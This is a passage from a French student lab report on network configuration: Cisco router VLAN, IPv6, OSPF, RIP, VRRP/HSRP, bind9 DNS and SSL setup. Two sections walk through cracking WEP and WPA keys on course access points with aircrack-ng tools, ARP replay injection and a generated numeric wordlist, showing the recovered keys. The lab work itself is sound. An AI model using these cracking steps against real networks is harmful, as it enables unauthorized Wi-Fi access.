Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e séance====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5e séance====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 6e séance (additionnel) ====&lt;br /&gt;
=====Configuration HSRP=====&lt;br /&gt;
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Sstandby 1 ip 10.60.X.3&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 priority 100&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby !&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;BDI2 - Group 1 (version 2)&lt;br /&gt;
  State is Standby&lt;br /&gt;
    7 state changes, last state change 00:01:16&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)&lt;br /&gt;
    Local virtual MAC address is 0000.0c9f.f001 (v2 default)&lt;br /&gt;
  Hello time 3 sec, hold time 10 sec&lt;br /&gt;
    Next hello sent in 0.128 secs&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)&lt;br /&gt;
    MAC address is d4d7.4842.53c1&lt;br /&gt;
  Standby router is local&lt;br /&gt;
  Priority 100 (default 100)&lt;br /&gt;
  Group name is &amp;quot;Vlan2&amp;quot; (cfgd)&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration DNS=====&lt;br /&gt;
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous installons les paquets bind9, ainsi que apache2.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone)&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration de ces 2 fichiers :&amp;lt;br /&amp;gt;&lt;br /&gt;
named.conf.local :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;zone &amp;quot;speedflash.space&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.speedflash.space&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
};&amp;lt;/pre&amp;gt;&lt;br /&gt;
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave.&amp;lt;br /&amp;gt;&lt;br /&gt;
db.speedflash.space:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;;&lt;br /&gt;
; BIND data file for local loopback interface&lt;br /&gt;
;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.speedflash.space. root.speedflash.space (&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
        IN      NS      ns.speedflash.space.&lt;br /&gt;
ns      IN      A       193.48.57.165&lt;br /&gt;
www     IN      A       193.48.57.165&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, pour faire fonctionner le tout, on relance bind : &amp;lt;pre&amp;gt; service bind9 restart &amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;tail /var/log/daemon.log | grep named&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: all zones loaded&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: running&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Securisation de site par SSL=====&lt;br /&gt;
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key&lt;br /&gt;
